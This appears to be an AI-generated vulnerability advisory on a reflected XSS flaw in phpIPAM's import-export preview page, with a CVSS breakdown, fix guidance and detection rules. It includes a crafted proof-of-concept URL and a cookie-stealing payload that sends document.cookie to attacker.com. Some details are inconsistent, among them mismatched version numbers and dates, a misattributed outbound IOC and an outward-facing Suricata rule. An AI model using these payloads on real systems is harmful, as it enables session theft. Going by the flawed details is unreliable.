CVE-2024-41358

Executive Summary

CVE-2024-41358 is a reflected Cross-Site Scripting (XSS) vulnerability in phpIPAM version 1.6, specifically within the import-export functionality. An attacker can inject arbitrary JavaScript into the expfields or importFields__ parameters of the /app/admin/import-export/import-devices-preview.php endpoint. This vulnerability requires user interaction (clicking a crafted link) and can lead to session hijacking, credential theft, or defacement. The exploit is publicly available via Exploit-DB, and no official patch has been released as of this analysis.

Supply Chain & Package Security

phpIPAM is a self-hosted PHP application. There is no NPM, PyPI, Go, or Ruby package involved. The risk is limited to the application's own codebase and its dependencies (e.g., PHP libraries). No supply chain compromise has been identified.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The exploit is sent over HTTP.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
• User Interaction (UI): Required (R) – The victim must click a crafted link.
• Scope (S): Changed (C) – The XSS can impact resources beyond the vulnerable component (e.g., cookies, session tokens).
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) – Limited ability to modify data (e.g., defacement).
• Availability (A): None (N) – No impact on availability.

CVSS Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The lack of a patch increases the risk for unmaintained instances.

Deep Dive & Mechanics

The vulnerability resides in the import-devices-preview.php script, which is part of the import-export module. The script processes user-supplied parameters (expfields and importFields__) without proper sanitization or output encoding. When these parameters are reflected back in the HTML response, an attacker can inject arbitrary HTML and JavaScript.

Root Cause: The application fails to escape or validate the expfields and importFields__ parameters before including them in the response. This is a classic reflected XSS flaw.

Attack Flow:

1. An attacker crafts a malicious URL containing JavaScript payloads in the vulnerable parameters.
2. The attacker sends the URL to a victim (e.g., via phishing email or social media).
3. The victim, authenticated to phpIPAM, clicks the link.
4. The browser sends the request to the phpIPAM server.
5. The server reflects the malicious input in the response without sanitization.
6. The victim's browser executes the injected JavaScript.
7. The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the page.

Vulnerable vs. Patched Code

Vulnerable Code (phpIPAM 1.6): The vulnerable script likely directly echoes the $_GET['expfields'] or $_GET['importFields__'] values without any filtering. For example:

echo "<input type='hidden' name='expfields' value='" . $_GET['expfields'] . "'>";

Patched Code (Hypothetical): A proper fix would involve:

1. Input Validation: Whitelist allowed characters for the expfields parameter (e.g., only alphanumeric and commas).
2. Output Encoding: Use htmlspecialchars() or htmlentities() with the ENT_QUOTES flag to encode special characters.
3. Content Security Policy (CSP): Implement a strict CSP header to mitigate XSS even if injection occurs.

Example of patched code:

$expfields = htmlspecialchars($_GET['expfields'], ENT_QUOTES, 'UTF-8');
echo "<input type='hidden' name='expfields' value='" . $expfields . "'>";

Exploitation & Lab Setup

Red Team (Exploitation)

Exploit-DB Code:

# Exploit Title: phpIPAM 1.6 - Reflected Cross-Site Scripting (XSS)
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/phpipam/phpipam/
# Software Link: https://github.com/phpipam/phpipam/
# Version: 1.5.1
# Tested on: Windows
# CVE : CVE-2024-41358


Proof Of Concept
GET http://phpipam/app/admin/import-export/import-devices-preview.php?&filetype=anyValidFiletype&expfields=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E&importFields__%22%3E%3Cscript%3Ealert%281%29%3C/script%3E=anyValue

Usage:

1. Replace http://phpipam with the target phpIPAM URL.
2. Ensure the victim is authenticated to phpIPAM.
3. Send the crafted URL to the victim.
4. When the victim clicks the link, the JavaScript alert(1) will execute, confirming the XSS.

Advanced Payload Example:

GET http://target/app/admin/import-export/import-devices-preview.php?&filetype=csv&expfields=%22%3E%3Cscript%3Enew+Image().src=%27http://attacker.com/steal?cookie=%27%2Bdocument.cookie%3C/script%3E&importFields__%22%3E%3Cscript%3Ealert(1)%3C/script%3E=anyValue

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests to /app/admin/import-export/import-devices-preview.php containing suspicious parameters (e.g., <script>, alert, onerror).
• Use a WAF (Web Application Firewall) to block requests with XSS patterns in the expfields or importFields__ parameters.
• Deploy endpoint detection rules (see Detection Engineering section).

Defense:

• Immediate: If patching is not possible, restrict access to the import-export functionality to trusted IPs or require additional authentication.
• Long-term: Apply input validation and output encoding as described in the patched code section.
• User Education: Train users not to click suspicious links, especially those containing URL-encoded characters.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /app/admin/import-export/import-devices-preview.php with parameters containing <script> tags or URL-encoded equivalents.
  • Outbound connections from the phpIPAM server to attacker-controlled domains (e.g., for cookie exfiltration).
• File IOCs:
  • No specific file-based IOCs; the attack is purely in-memory via reflected XSS.
• Log IOCs:
  • Web server access logs showing requests with expfields=%22%3E%3Cscript%3E or similar patterns.

Detection Engineering

YARA Rule

rule Detect_phpIPAM_XSS_Exploit {
    meta:
        description = "Detects attempts to exploit CVE-2024-41358 reflected XSS in phpIPAM"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-41358"
    strings:
        $xss_payload1 = /expfields=.*%3Cscript%3E/i
        $xss_payload2 = /importFields__.*%3Cscript%3E/i
        $xss_payload3 = /expfields=.*<script>/i
        $xss_payload4 = /importFields__.*<script>/i
    condition:
        any of them
}

Sigma Rule

title: phpIPAM Reflected XSS Attempt (CVE-2024-41358)
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting phpIPAM import-devices-preview.php with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/app/admin/import-export/import-devices-preview.php'
        cs-uri-query|contains|all:
            - 'expfields='
            - '<script>'
        cs-uri-query|contains|all:
            - 'importFields__'
            - '<script>'
    condition: selection
falsepositives:
    - Legitimate use of the import feature with unusual data (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-41358 phpIPAM Reflected XSS Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/app/admin/import-export/import-devices-preview.php";
    http_uri;
    content:"expfields=";
    http_uri;
    pcre:"/<script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-41358;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Import-Export Module: If not required, disable the import-export functionality by removing or renaming the import-export directory.
2. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing <script> or %3Cscript%3E in the expfields or importFields__ parameters.
3. Access Restriction: Limit access to the vulnerable endpoint to trusted IP addresses or require additional authentication (e.g., HTTP Basic Auth).

Long-term Fix:

1. Apply Patch: Monitor the phpIPAM GitHub repository for an official patch. If none is released, consider forking the project and applying the fix manually.
2. Code Hardening: Implement input validation (whitelist allowed characters) and output encoding (htmlspecialchars()) for all user-supplied parameters.
3. Content Security Policy (CSP): Add a strict CSP header to mitigate XSS even if injection occurs. Example:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

4. Regular Updates: Keep phpIPAM and all dependencies up to date.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 5FC98F2726A22A174016DB0C] */}